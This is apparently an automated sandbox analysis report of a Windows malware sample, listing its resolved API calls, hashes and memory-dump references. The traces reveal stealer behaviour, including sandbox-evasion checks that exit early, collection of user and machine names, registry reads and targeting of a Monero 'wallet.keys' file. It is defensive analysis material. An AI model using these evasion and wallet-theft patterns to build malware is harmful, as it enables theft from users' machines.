Part of subcall function 004B9860: GetProcAddress.KERNEL32(74DD0000,00FC6638), ref: 004B994C
Part of subcall function 004B9860: GetProcAddress.KERNEL32(74DD0000,00FD2080), ref: 004B9964
Part of subcall function 004B9860: GetProcAddress.KERNEL32(74DD0000,00FD2020), ref: 004B997C
Part of subcall function 004B9860: GetProcAddress.KERNEL32(74DD0000,00FD21A0), ref: 004B9995
Part of subcall function 004B9860: GetProcAddress.KERNEL32(74DD0000,00FD2038), ref: 004B99AD
Part of subcall function 004B9860: GetProcAddress.KERNEL32(74DD0000,00FC64B8), ref: 004B99C5
Part of subcall function 004B9860: GetProcAddress.KERNEL32(74DD0000,00FD2050), ref: 004B99DE

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Part of subcall function 004A11D0: ExitProcess.KERNEL32 ref: 004A1211

Part of subcall function 004A1160: GetSystemInfo.KERNEL32(?), ref: 004A116A
Part of subcall function 004A1160: ExitProcess.KERNEL32 ref: 004A117E

Part of subcall function 004A1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 004A112B
Part of subcall function 004A1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 004A1132
Part of subcall function 004A1110: ExitProcess.KERNEL32 ref: 004A1143

Part of subcall function 004A1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 004A123E
Part of subcall function 004A1220: ExitProcess.KERNEL32 ref: 004A1294

Part of subcall function 004B6770: GetUserDefaultLangID.KERNEL32 ref: 004B6774

Part of subcall function 004A1190: ExitProcess.KERNEL32 ref: 004A11C6

Part of subcall function 004B7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004A11B7), ref: 004B7880
Part of subcall function 004B7850: RtlAllocateHeap.NTDLL(00000000), ref: 004B7887
Part of subcall function 004B7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 004B789F

Part of subcall function 004B78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004B7910
Part of subcall function 004B78E0: RtlAllocateHeap.NTDLL(00000000), ref: 004B7917
Part of subcall function 004B78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 004B792F

Part of subcall function 004BA9B0: lstrlen.KERNEL32(?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004BA9C5
Part of subcall function 004BA9B0: lstrcpy.KERNEL32(00000000), ref: 004BAA04
Part of subcall function 004BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 004BAA12

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00FD8F88,?,004C110C,?,00000000,?,004C1110,?,00000000,004C0AEF), ref: 004B6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004B6AE8
CloseHandle.KERNEL32(00000000), ref: 004B6AF9
Sleep.KERNEL32(00001770), ref: 004B6B04
CloseHandle.KERNEL32(?,00000000,?,00FD8F88,?,004C110C,?,00000000,?,004C1110,?,00000000,004C0AEF), ref: 004B6B1A
ExitProcess.KERNEL32 ref: 004B6B22

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2931873225-0
Opcode ID: 959641d2021ca8e98f9caf2330a2cb416b2d1c2d8f145713674fdbef01c493b3
Instruction ID: 4f9f97f52affa40a50cbaa591e993d02c92b0ffcc72605f44f40026fefbec43d
Opcode Fuzzy Hash: 959641d2021ca8e98f9caf2330a2cb416b2d1c2d8f145713674fdbef01c493b3
Instruction Fuzzy Hash: 41317F75900208AADB04FBF2DC96BEE7738AF18304F10451EF202A6192DF7C6905C6BE

Function 004A99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004A99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 004A9A11
LocalAlloc.KERNEL32(00000040,?), ref: 004A9A31
ReadFile.KERNEL32(000000FF,?,00000000,004A148F,00000000), ref: 004A9A5A
LocalFree.KERNEL32(004A148F), ref: 004A9A90
CloseHandle.KERNEL32(000000FF), ref: 004A9A9A

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 50d20f07107127c956c08a34f1ef85a71957e27694a0b3c7b52655ef0993cd22
Instruction ID: cd05aa604e2b7e9bb203147e369d00371fe87fbad3bf8879fd9b8ff0e924a551
Opcode Fuzzy Hash: 50d20f07107127c956c08a34f1ef85a71957e27694a0b3c7b52655ef0993cd22
Instruction Fuzzy Hash: 893105B4A00209EFDF14CFA4C885BAE77B5BF59300F10815AE915AB390D778AE41CFA5

Function 004B4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,00FDF310), ref: 004B47DB

Part of subcall function 004B8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 004B8E0B

lstrcat.KERNEL32(?,00000000), ref: 004B4801
lstrcat.KERNEL32(?,?), ref: 004B4820
lstrcat.KERNEL32(?,?), ref: 004B4834
lstrcat.KERNEL32(?,00FCB548), ref: 004B4847
lstrcat.KERNEL32(?,?), ref: 004B485B
lstrcat.KERNEL32(?,00FDD788), ref: 004B486F

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Part of subcall function 004B8D90: GetFileAttributesA.KERNEL32(00000000,?,004A1B54,?,?,004C564C,?,?,004C0E1F), ref: 004B8D9F

Part of subcall function 004B4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 004B4580
Part of subcall function 004B4570: RtlAllocateHeap.NTDLL(00000000), ref: 004B4587
Part of subcall function 004B4570: wsprintfA.USER32 ref: 004B45A6
Part of subcall function 004B4570: FindFirstFileA.KERNEL32(?,?), ref: 004B45BD

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 0d9888c5b6a072eed908a2d69f00b3a21f049cfc60b3c4a8e0b9af24c48534ed
Instruction ID: 60be82627d9ac49c0bcee7e265cb22ccabad75c64523406ee07727380e17e885
Opcode Fuzzy Hash: 0d9888c5b6a072eed908a2d69f00b3a21f049cfc60b3c4a8e0b9af24c48534ed
Instruction Fuzzy Hash: 1E3175B690030867DB10F7B0DCC5EEE737DAB58704F40458EB35596091EE78A789CBA9

Function 004B40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,00FDD468,00000000,00020119,?), ref: 004B40F4
RegQueryValueExA.ADVAPI32(?,00FDF2F8,00000000,00000000,00000000,000000FF), ref: 004B4118
RegCloseKey.ADVAPI32(?), ref: 004B4122
lstrcat.KERNEL32(?,00000000), ref: 004B4147
lstrcat.KERNEL32(?,00FDF1D8), ref: 004B415B

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 81356b36a1e5e0f8c296cd077aa9a24ba4805db1a4c1db713192e019f308ff14
Instruction ID: b084349155f5907ee0b3940de849c5f6b227bf2dbe77b8d5b093975e5bb51356
Opcode Fuzzy Hash: 81356b36a1e5e0f8c296cd077aa9a24ba4805db1a4c1db713192e019f308ff14
Instruction Fuzzy Hash: 13419CB6D002086BDB14EFE0DC86FFE737DA798304F00455DB6155B181EA75AB888BE2

Function 004B7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004B7E37
RtlAllocateHeap.NTDLL(00000000), ref: 004B7E3E
RegOpenKeyExA.KERNEL32(80000002,00FCC000,00000000,00020119,?), ref: 004B7E5E
RegQueryValueExA.KERNEL32(?,00FDD708,00000000,00000000,000000FF,000000FF), ref: 004B7E7F
RegCloseKey.ADVAPI32(?), ref: 004B7E92

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 966e137fc00b2950cb345a3d416b8d839fca0f56525401b30dad1e9490b371e7
Instruction ID: 05c04a4393f8b45c4f9c36f4a36a7cabcde5375a774d0cb47d07e69c882a7717
Opcode Fuzzy Hash: 966e137fc00b2950cb345a3d416b8d839fca0f56525401b30dad1e9490b371e7
Instruction Fuzzy Hash: DB1151B1A44345EBDB10CFD4DD89FBBBBB9EB44710F10415AF605AB280D7786801CBA2

Function 004A12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004A12B4
RtlAllocateHeap.NTDLL(00000000), ref: 004A12BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004A12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 004A12F5
RegCloseKey.ADVAPI32(?), ref: 004A12FF

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000055D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000582000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000058F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000005BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000006EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000973000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.0000000000980000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932704481.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932912386.000000000098F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933004349.0000000000B23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933022377.0000000000B24000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 5fad5a3fe0b910331cebae3e97172f909dc1c425add52ed31ac01fcaa7ee5088
Instruction ID: e92febbdf4dbc677483f72dd027cdd39072841e2e67bf00354b542ecb6358dc1
Opcode Fuzzy Hash: 5fad5a3fe0b910331cebae3e97172f909dc1c425add52ed31ac01fcaa7ee5088
Instruction Fuzzy Hash: 380131B9A40308BBDB00DFE0DC89FAFB7B9EB48701F008159FA059B280D674AA018F51

Function 004AA0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(00FD9008,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 004AA0BD
LoadLibraryA.KERNEL32(00FDD648), ref: 004AA146

Part of subcall function 004BA740: lstrcpy.KERNEL32(004C0E17,00000000), ref: 004BA788

Part of subcall function 004BA820: lstrlen.KERNEL32(004A4F05,?,?,004A4F05,004C0DDE), ref: 004BA82B
Part of subcall function 004BA820: lstrcpy.KERNEL32(004C0DDE,00000000), ref: 004BA885

Part of subcall function 004BA9B0: lstrlen.KERNEL32(?,00FD8CC8,?,\Monero\wallet.keys,004C0E17), ref: 004BA9C5
Part of subcall function 004BA9B0: lstrcpy.KERNEL32(00000000), ref: 004BAA04
Part of subcall function 004BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 004BAA12

Part of subcall function 004BA920: lstrcpy.KERNEL32(00000000,?), ref: 004BA972
Part of subcall function 004BA920: lstrcat.KERNEL32(00000000), ref: 004BA982

Part of subcall function 004BA8A0: lstrcpy.KERNEL32(?,004C0E17), ref: 004BA905

SetEnvironmentVariableA.KERNEL32(00FD9008,00000000,00000000,?,004C12D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,004C0AFE), ref: 004AA132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 004AA0B2, 004AA0C6, 004AA0DC

Memory Dump Source

Source File: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004A0000, based on PE: true

Associated: 00000000.00000002.1932383779.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000525000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.000000000052F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932399185.0000000000532000.00000040.00000001.01000000.00000003.sdmpDownload File
